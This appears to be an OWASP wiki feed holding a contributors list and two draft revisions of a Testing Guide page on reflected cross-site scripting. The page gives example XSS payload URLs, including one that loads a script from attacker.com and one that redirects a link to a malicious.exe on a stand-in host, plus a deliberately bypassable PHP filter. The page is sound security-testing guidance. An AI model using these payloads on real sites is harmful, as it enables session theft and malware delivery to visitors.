* VeriSign and Thawte are registered trademarks of VeriSign, Inc.&lt;br /&gt;
* Visa is a registered trademark of VISA USA.&lt;br /&gt;
* OWASP is a registered trademark of the OWASP Foundation&lt;br /&gt;
&lt;br /&gt;
All other products and company names may be trademarks of their respective owners. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_Contributors&amp;diff=51002</id>
		<title>OWASP Testing Guide Contributors</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_Contributors&amp;diff=51002"/>
				<updated>2009-01-13T03:47:52Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: typo in Ariel Coronel&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Testing Project|Click here to return to project's main page]].&lt;br /&gt;
{| style=&amp;quot;width:70%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | '''OWASP TESTING GUIDE  - EDITORS'''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:33%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; | '''Matteo Meucci'''&amp;lt;br&amp;gt;OWASP Testing Guide Lead since 2007&lt;br /&gt;
 | style=&amp;quot;width:34%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; | '''Eoin Keary'''&amp;lt;br&amp;gt;OWASP Testing Guide 2005‐2007 Lead&lt;br /&gt;
 | style=&amp;quot;width:33%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; | '''Daniel Cuthbert'''&amp;lt;br&amp;gt;OWASP Testing Guide 2003‐2005 Lead&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:70%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | '''OWASP TESTING GUIDE  V3.0'''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; | '''AUTHORS'''&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; |&lt;br /&gt;
* Anurag Agarwwal&lt;br /&gt;
* Daniele Bellucci&lt;br /&gt;
* Daniele Bellucci&lt;br /&gt;
* Ariel Coronel&lt;br /&gt;
* Stefano Di Paola&lt;br /&gt;
* Giorgio Fedon&lt;br /&gt;
* Alan Goodman&lt;br /&gt;
* Christian Heinrich&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; |&lt;br /&gt;
* Kevin Horvath&lt;br /&gt;
* Gianrico Ingrosso&lt;br /&gt;
* Roberto Suggi Liverani&lt;br /&gt;
* Alex Kuza&lt;br /&gt;
* Pavol Luptak&lt;br /&gt;
* Ferruh Mavituna&lt;br /&gt;
* Marco Mella&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; | &lt;br /&gt;
* Matteo Meucci&lt;br /&gt;
* Marco Morana&lt;br /&gt;
* Antonio Parata&lt;br /&gt;
* Cecil Su&lt;br /&gt;
* Harish Skanda Sureddy&lt;br /&gt;
* Mark Roxberry&lt;br /&gt;
* Andrew Van der Stock&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; | '''REVIEWERS'''&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; |&lt;br /&gt;
* Marco Cova&lt;br /&gt;
* Kevin Fuller&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; |&lt;br /&gt;
* Matteo Meucci&lt;br /&gt;
* Nam Nguyen&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; | &lt;br /&gt;
* Dave Wichers&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:70%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | '''OWASP TESTING GUIDE  V2.0'''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; | '''AUTHORS'''&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; |&lt;br /&gt;
* Vicente Aguilera&lt;br /&gt;
* Mauro Bregolin&lt;br /&gt;
* Tom Brennan&lt;br /&gt;
* Gary Burns&lt;br /&gt;
* Luca Carettoni&lt;br /&gt;
* Dan Cornell&lt;br /&gt;
* Mark Curphey&lt;br /&gt;
* Daniel Cuthbert&lt;br /&gt;
* Sebastien Deleersnyder&lt;br /&gt;
* Stephen DeVries&lt;br /&gt;
* Stefano Di Paola&lt;br /&gt;
* David Endler&lt;br /&gt;
* Giorgio Fedon&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; |&lt;br /&gt;
* Javier Fernández‐Sangu&lt;br /&gt;
* Glyn Geoghegan&lt;br /&gt;
* Stan Guzik&lt;br /&gt;
* Madhura Halasgikar&lt;br /&gt;
* Eoin Keary&lt;br /&gt;
* David Litchfield&lt;br /&gt;
* Andrea Lombardini&lt;br /&gt;
* Ralph M. Los&lt;br /&gt;
* Claudio Merloni&lt;br /&gt;
* Matteo Meucci&lt;br /&gt;
* Marco Morana&lt;br /&gt;
* Laura Nunez&lt;br /&gt;
* Gunter Ollmann&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; |&lt;br /&gt;
* Antonio Parata&lt;br /&gt;
* Yiannis Pavlosoglou&lt;br /&gt;
* Carlo Pelliccioni&lt;br /&gt;
* Harinath Pudipeddi&lt;br /&gt;
* Alberto Revelli&lt;br /&gt;
* Mark Roxberry&lt;br /&gt;
* Tom Ryan&lt;br /&gt;
* Anush Shetty&lt;br /&gt;
* Larry Shields&lt;br /&gt;
* Dafydd Studdard&lt;br /&gt;
* Andrew van der Stock&lt;br /&gt;
* Ariel Waissbein&lt;br /&gt;
* Jeff Williams&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; | '''REVIEWERS'''&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; |&lt;br /&gt;
* Vicente Aguilera &lt;br /&gt;
* Marco Belotti&lt;br /&gt;
* Mauro Bregolin&lt;br /&gt;
* Marco Cova&lt;br /&gt;
* Daniel Cuthbert&lt;br /&gt;
* Paul Davies&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; |&lt;br /&gt;
* Stefano Di Paola&lt;br /&gt;
* Matteo G.P. Flora&lt;br /&gt;
* Simona Forti&lt;br /&gt;
* Darrell Groundy&lt;br /&gt;
* Eoin Keary&lt;br /&gt;
* James Kist&lt;br /&gt;
* Katie McDowell&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; |&lt;br /&gt;
* Marco Mella &lt;br /&gt;
* Matteo Meucci&lt;br /&gt;
* Syed Mohamed A&lt;br /&gt;
* Antonio Parata&lt;br /&gt;
* Alberto Revelli&lt;br /&gt;
* Mark Roxberry&lt;br /&gt;
* Dave Wichers&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot; | &lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=38058</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=38058"/>
				<updated>2008-09-02T18:02:07Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: examples labels&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [[Cross-site scripting]] (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
she convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code &amp;amp;mdash; using the victim's credentials. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is written in the Javascript language, but  &lt;br /&gt;
other scripting languages are also used, e.g., ActionScript and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically leverage these vulnerabilities to &lt;br /&gt;
install key loggers, steal victim cookies, perform clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so, for example, the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's [[OWASP CAL9000 Project|CAL9000]]. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing ==&lt;br /&gt;
A black-box test will include at least three phases:&lt;br /&gt;
&lt;br /&gt;
1. Detect input vectors. The tester must determine the web application's&lt;br /&gt;
variables and how to input them in the web application. See the example below.&lt;br /&gt;
&lt;br /&gt;
2. Analyze each input vector to detect potential vulnerabilities. To detect a XSS vulnerability, the&lt;br /&gt;
tester will typically use specially crafted input data with each input vector. Such input data is&lt;br /&gt;
typically harmless, but trigger responses from the web browser that&lt;br /&gt;
manifest the vulnerability. Testing data can be generated by using a web application fuzzer or manually. &lt;br /&gt;
&lt;br /&gt;
3. For each vulnerability reported in the previous phase, the tester&lt;br /&gt;
will analyze the report and attempt to exploit it with an attack that&lt;br /&gt;
has a realistic impact on the web application's security.&lt;br /&gt;
&lt;br /&gt;
== Example 1 == &lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. &lt;br /&gt;
&lt;br /&gt;
== Example 2 ==&lt;br /&gt;
Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
However, most web applications today use some sort of sanitization. Yet,&lt;br /&gt;
some remain vulnerable. Reflected cross-site scripting attacks are&lt;br /&gt;
prevented either at the side of the server, by sanitization or a web&lt;br /&gt;
application firewall, or at the side of the client by prevention&lt;br /&gt;
mechanisms that are embedded in modern web browsers.&lt;br /&gt;
&lt;br /&gt;
Since most of the clients do not update their browsers, the tester&lt;br /&gt;
cannot count on this and must test for vulnerabilities assuming that web&lt;br /&gt;
browsers will not prevent the attack. ( Frei et al 2008 )&lt;br /&gt;
&lt;br /&gt;
A web application or the web server (e.g., Apache's mod_rewrite module)&lt;br /&gt;
can parse the URL matching a regular expression as a sanitization&lt;br /&gt;
prcedure. For example the following regular expression can be used to&lt;br /&gt;
detect (and block) alphanumeric characters between tags or slashes.&lt;br /&gt;
&lt;br /&gt;
 /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i&lt;br /&gt;
&lt;br /&gt;
Hence, the above attack will not work. However, this regular expression&lt;br /&gt;
does not completely fix the vulnerability. In a grey-box test, the&lt;br /&gt;
tester might access the source code and analyze the sanitization&lt;br /&gt;
procedure to decide if it can be circumvented.&lt;br /&gt;
&lt;br /&gt;
== Example 3 ==&lt;br /&gt;
To black-box test whether there is a vulnerability or not, the tester&lt;br /&gt;
will use many test vectors, each circumventing different&lt;br /&gt;
sanitization procedures, hoping that one will work. For example, let's say&lt;br /&gt;
that the following code is executed:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
$re = &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
if (preg_match($re, $_GET['var'])) {&lt;br /&gt;
  echo &amp;quot;Filtered&amp;quot;;&lt;br /&gt;
  return; }&lt;br /&gt;
echo &amp;quot;Welcome &amp;quot;.$_GET['var'].&amp;quot; !&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this scenario there is a regular expression checking if &amp;lt;script&lt;br /&gt;
[anything but the character: '&amp;gt;' ] src is inserted. This is useful for&lt;br /&gt;
filtering expressions like &amp;lt;script&lt;br /&gt;
src=&amp;quot;http://attacker.com/xss.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;, which is a common attack. But,&lt;br /&gt;
in this case, it is possible to bypass the sanitization by using the &amp;quot;&amp;gt;&amp;quot;&lt;br /&gt;
character in an attribute between script and src, like this:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/?var=&amp;lt;SCRIPT%20a=&amp;quot;&amp;gt;&amp;quot;%20SRC=&amp;quot;http://www.attacker.com/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will exploit the reflected cross site scripting vulnerability shown before&lt;br /&gt;
executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, www.example.com.&lt;br /&gt;
&lt;br /&gt;
A complete test will include instantiating a variable with several&lt;br /&gt;
attack vectors (Check [[Fuzz_Vectors Fuzz vectors appendix|Fuzz vectors appendix]] and [[Encoded Injection|Encoded injection appendix]]).&lt;br /&gt;
&lt;br /&gt;
Finally, analyzing answers can get complex. A simple way to do this is&lt;br /&gt;
to use code that pops up a dialog, as in our example. This typically indicates that an&lt;br /&gt;
attacker could execute arbitrary javascript of his choice in the&lt;br /&gt;
visitors' browsers.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]&lt;br /&gt;
'''Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=36145</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=36145"/>
				<updated>2008-08-14T19:00:13Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [http://www.owasp.org/index.php/Cross_Site_Scripting cross-site scripting] (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
A black-box test will include at least three phases:&lt;br /&gt;
&lt;br /&gt;
1. Detect input vectors. The tester must determine the web application's&lt;br /&gt;
variables and how to input them in the web application. See the above&lt;br /&gt;
example.&lt;br /&gt;
&lt;br /&gt;
2. Analyze each input vector to detect potential vulnerabilities. The&lt;br /&gt;
tester will typically use a web application fuzzer or manually attempt&lt;br /&gt;
detecting a xss vulnerability by entering offending data. This tests are&lt;br /&gt;
typically harmless, but triggers responses from the web browser that&lt;br /&gt;
allow the tester to detect a vulnerability.&lt;br /&gt;
&lt;br /&gt;
3. For each vulnerability reported in the previous phase, the tester&lt;br /&gt;
will analyze the report and attempt to exploit it with an attack that&lt;br /&gt;
has a realistic impact on the web application's security.&lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
However, most web applications today use some sort of sanitization. Yet,&lt;br /&gt;
some remain vulnerable. Reflected cross-site scripting attacks are&lt;br /&gt;
prevented either at the side of the server, by sanitization or a web&lt;br /&gt;
application firewall, or at the side of the client by prevention&lt;br /&gt;
mechanisms that are embedded in modern web browsers.&lt;br /&gt;
&lt;br /&gt;
Since most of the clients do not update their browsers1, the tester&lt;br /&gt;
cannot count on this and must test for vulnerabilities assuming that web&lt;br /&gt;
browsers will not prevent the attack.&lt;br /&gt;
&lt;br /&gt;
A web application or the web server (e.g., Apache's mod_rewrite module)&lt;br /&gt;
can parse the URL matching a regular expression as a sanitization&lt;br /&gt;
prcedure. For example the following regular expression can be used to&lt;br /&gt;
detect (and block) alphanumeric characters between tags or slashes.&lt;br /&gt;
&lt;br /&gt;
 /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i&lt;br /&gt;
&lt;br /&gt;
Hence, the above attack will not work. However, this regular expression&lt;br /&gt;
does not completely fix the vulnerability. In a grey-box test, the&lt;br /&gt;
tester might access the source code and analyze the sanitization&lt;br /&gt;
procedure to decide if he can circumvent it.&lt;br /&gt;
&lt;br /&gt;
To black-box test whether there is a vulnerability or not, the tester&lt;br /&gt;
will use many test vectors, each circumventing one different&lt;br /&gt;
sanitization procedure hoping that one will work. For example, let's say&lt;br /&gt;
that the following code is executed:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
$re = &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
if (preg_match($re, $_GET['var'])) {&lt;br /&gt;
  echo &amp;quot;Filtered&amp;quot;;&lt;br /&gt;
  return; }&lt;br /&gt;
echo &amp;quot;Welcome &amp;quot;.$_GET['var'].&amp;quot; !&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this scenario there is a regular expression checking if &amp;lt;script&lt;br /&gt;
[anything but the character: '&amp;gt;' ] src is inserted. This is useful for&lt;br /&gt;
filtering expressions like &amp;lt;script&lt;br /&gt;
src=&amp;quot;http://attacker.com/xss.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;, which is a common attack. But,&lt;br /&gt;
in this case it is possible to bypass the sanitization using the &amp;quot;&amp;gt;&amp;quot;&lt;br /&gt;
character in a varible between script and src, like this:&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/?var=&amp;lt;SCRIPT%20a=&amp;quot;&amp;gt;&amp;quot;%20SRC=&amp;quot;http://www.attacker.com/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will exploit a reflected corss-site scripting vulnerability&lt;br /&gt;
executing the javascript code in the attacker's web server but using the&lt;br /&gt;
credentials of the original site ww.example.com.&lt;br /&gt;
&lt;br /&gt;
A complete test will include instantiating a variable with several&lt;br /&gt;
attack vectors (Check [https://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors Fuzz vectors appendix] and [https://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_D:_Encoded_Injection Encoded injection appendix]).&lt;br /&gt;
&lt;br /&gt;
Finally, analyzing answers can get complex. A simple way to do this is&lt;br /&gt;
using the Hello world popup of our example. This indicates that an&lt;br /&gt;
attacker could execute arbitrary javascript of his choice in the&lt;br /&gt;
visitors' browsers.&lt;br /&gt;
&lt;br /&gt;
Bibliography&lt;br /&gt;
&lt;br /&gt;
